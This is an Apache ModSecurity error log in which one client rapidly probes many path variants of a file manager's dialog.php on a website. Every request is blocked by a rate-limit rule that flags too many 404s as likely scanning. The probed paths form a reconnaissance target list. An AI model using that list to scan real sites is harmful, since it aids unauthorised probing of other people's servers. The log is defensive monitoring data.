[Tue May 26 21:04:04.873928 2026] [:error] [pid 36497:tid 36519] [client 170.64.238.42:52408] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGRgAAAMk"]
[Tue May 26 21:04:04.880025 2026] [:error] [pid 33977:tid 33980] [client 170.64.238.42:52426] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuRgAAAAA"]
[Tue May 26 21:04:04.890963 2026] [:error] [pid 36497:tid 36525] [client 170.64.238.42:52438] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGRwAAAM8"]
[Tue May 26 21:04:04.893629 2026] [:error] [pid 33977:tid 33992] [client 170.64.238.42:52440] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRO9cnSDNAU9sYPjuRwAAAAw"]
[Tue May 26 21:04:04.919872 2026] [:error] [pid 36497:tid 36527] [client 170.64.238.42:52446] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahWaRLjKQWM1gBmBY4gGSAAAANE"]
[Tue May 26 21:04:04.924417 2026] [:error] [pid 33888:tid 33959] [client 170.64.238.42:52454] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRDqzTeoxiinZsGENHQAAAQ0"]
[Tue May 26 21:04:04.935726 2026] [:error] [pid 33888:tid 33963] [client 170.64.238.42:52458] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahWaRDqzTeoxiinZsGENHgAAARE"]
[Tue May 26 21:04:04.937152 2026] [:error] [pid 43701:tid 43713] [client 170.64.238.42:52472] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/admin/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHswAAAUo"]
[Tue May 26 21:04:04.952384 2026] [:error] [pid 33887:tid 33921] [client 170.64.238.42:52484] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahWaRNCOI_FV7meOxGc6tQAAAII"]
[Tue May 26 21:04:04.965396 2026] [:error] [pid 43701:tid 43714] [client 170.64.238.42:52494] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHtAAAAUs"]
[Tue May 26 21:04:04.966340 2026] [:error] [pid 33887:tid 33940] [client 170.64.238.42:52492] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "ahWaRNCOI_FV7meOxGc6tgAAAJU"]
[Tue May 26 21:04:04.970564 2026] [:error] [pid 43701:tid 43721] [client 170.64.238.42:52508] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHtQAAAVI"]
[Tue May 26 21:04:04.977753 2026] [:error] [pid 43701:tid 43707] [client 170.64.238.42:52524] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHtgAAAUQ"]
[Tue May 26 21:04:04.978771 2026] [:error] [pid 43701:tid 43708] [client 170.64.238.42:52510] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHtwAAAUU"]
[Tue May 26 21:04:04.983786 2026] [:error] [pid 43701:tid 43726] [client 170.64.238.42:52526] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filemanager/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHuAAAAVc"]
[Tue May 26 21:04:04.984341 2026] [:error] [pid 43701:tid 43723] [client 170.64.238.42:52538] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahWaRIWtVI_UGrhtwKDHuQAAAVQ"]
[Tue May 26 21:04:04.994413 2026] [:error] [pid 33887:tid 33935] [client 170.64.238.42:52546] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahWaRNCOI_FV7meOxGc6twAAAJA"]
[Tue May 26 21:04:04.995766 2026] [:error] [pid 33887:tid 33929] [client 170.64.238.42:52562] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRNCOI_FV7meOxGc6uAAAAIo"]
[Tue May 26 21:04:04.998743 2026] [:error] [pid 33887:tid 33943] [client 170.64.238.42:52576] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahWaRNCOI_FV7meOxGc6uQAAAJg"]
[Tue May 26 21:04:05.006427 2026] [:error] [pid 43701:tid 43705] [client 170.64.238.42:52586] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahWaRYWtVI_UGrhtwKDHugAAAUI"]
[Tue May 26 21:04:05.009395 2026] [:error] [pid 33887:tid 33942] [client 170.64.238.42:52590] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahWaRdCOI_FV7meOxGc6ugAAAJc"]
[Tue May 26 21:04:05.026506 2026] [:error] [pid 43701:tid 43715] [client 170.64.238.42:52602] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahWaRYWtVI_UGrhtwKDHuwAAAUw"]
[Tue May 26 21:04:05.028579 2026] [:error] [pid 33887:tid 33933] [client 170.64.238.42:52598] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahWaRdCOI_FV7meOxGc6uwAAAI4"]
[Tue May 26 21:04:05.028820 2026] [:error] [pid 43701:tid 43717] [client 170.64.238.42:52616] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahWaRYWtVI_UGrhtwKDHvAAAAU4"]
[Tue May 26 21:04:05.038945 2026] [:error] [pid 36497:tid 36530] [client 170.64.238.42:52622] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGSQAAANQ"]
[Tue May 26 21:04:05.039803 2026] [:error] [pid 33977:tid 33982] [client 170.64.238.42:52634] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuSQAAAAI"]
[Tue May 26 21:04:05.042262 2026] [:error] [pid 36497:tid 36518] [client 170.64.238.42:52638] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGSgAAAMg"]
[Tue May 26 21:04:05.055795 2026] [:error] [pid 33887:tid 33934] [client 170.64.238.42:52646] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahWaRdCOI_FV7meOxGc6vAAAAI8"]
[Tue May 26 21:04:05.057010 2026] [:error] [pid 43701:tid 43711] [client 170.64.238.42:52658] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/js/fileManager/filemanager/dialog.php"] [unique_id "ahWaRYWtVI_UGrhtwKDHvQAAAUg"]
[Tue May 26 21:04:05.072604 2026] [:error] [pid 36497:tid 36524] [client 170.64.238.42:52668] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/resources/plugins/tiny_mce/plugins/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGSwAAAM4"]
[Tue May 26 21:04:05.075847 2026] [:error] [pid 36497:tid 36522] [client 170.64.238.42:52674] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/js/libraries/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGTAAAAMw"]
[Tue May 26 21:04:05.077378 2026] [:error] [pid 33977:tid 34002] [client 170.64.238.42:52680] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/scripts/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuSgAAABY"]
[Tue May 26 21:04:05.087481 2026] [:error] [pid 36497:tid 36523] [client 170.64.238.42:52682] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGTQAAAM0"]
[Tue May 26 21:04:05.088419 2026] [:error] [pid 36497:tid 36520] [client 170.64.238.42:52690] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGTgAAAMo"]
[Tue May 26 21:04:05.089275 2026] [:error] [pid 33977:tid 33986] [client 170.64.238.42:52698] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuSwAAAAY"]
[Tue May 26 21:04:05.098246 2026] [:error] [pid 36497:tid 36521] [client 170.64.238.42:52712] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cms/tinymce/filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGTwAAAMs"]
[Tue May 26 21:04:05.131139 2026] [:error] [pid 36497:tid 36534] [client 170.64.238.42:52726] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGUAAAANg"]
[Tue May 26 21:04:05.131478 2026] [:error] [pid 36497:tid 36529] [client 170.64.238.42:52728] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGUQAAANM"]
[Tue May 26 21:04:05.135595 2026] [:error] [pid 36497:tid 36514] [client 170.64.238.42:52734] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGUgAAAMQ"]
[Tue May 26 21:04:05.139771 2026] [:error] [pid 36497:tid 36510] [client 170.64.238.42:52748] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGUwAAAMA"]
[Tue May 26 21:04:05.183411 2026] [:error] [pid 36497:tid 36511] [client 170.64.238.42:52766] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/resources/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGVAAAAME"]
[Tue May 26 21:04:05.189491 2026] [:error] [pid 36497:tid 36526] [client 170.64.238.42:52776] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGVQAAANA"]
[Tue May 26 21:04:05.190295 2026] [:error] [pid 36497:tid 36532] [client 170.64.238.42:52762] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGVgAAANY"]
[Tue May 26 21:04:05.191030 2026] [:error] [pid 36497:tid 36533] [client 170.64.238.42:52782] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGVwAAANc"]
[Tue May 26 21:04:05.192135 2026] [:error] [pid 36497:tid 36531] [client 170.64.238.42:52792] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGWAAAANU"]
[Tue May 26 21:04:05.232605 2026] [:error] [pid 33887:tid 33937] [client 170.64.238.42:52796] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib/filemanager/dialog.php"] [unique_id "ahWaRdCOI_FV7meOxGc6vQAAAJI"]
[Tue May 26 21:04:05.235088 2026] [:error] [pid 43701:tid 43719] [client 170.64.238.42:52810] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahWaRYWtVI_UGrhtwKDHvgAAAVA"]
[Tue May 26 21:04:05.235984 2026] [:error] [pid 33887:tid 33938] [client 170.64.238.42:52824] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRdCOI_FV7meOxGc6vgAAAJM"]
[Tue May 26 21:04:05.236918 2026] [:error] [pid 33977:tid 33998] [client 170.64.238.42:52840] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuTAAAABI"]
[Tue May 26 21:04:05.241105 2026] [:error] [pid 36497:tid 36512] [client 170.64.238.42:52846] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGWQAAAMI"]
[Tue May 26 21:04:05.282296 2026] [:error] [pid 43701:tid 43720] [client 170.64.238.42:52862] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/events/lib/external/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRYWtVI_UGrhtwKDHvwAAAVE"]
[Tue May 26 21:04:05.282838 2026] [:error] [pid 36497:tid 36513] [client 170.64.238.42:52866] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGWgAAAMM"]
[Tue May 26 21:04:05.327966 2026] [:error] [pid 33887:tid 33941] [client 170.64.238.42:52868] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRdCOI_FV7meOxGc6vwAAAJY"]
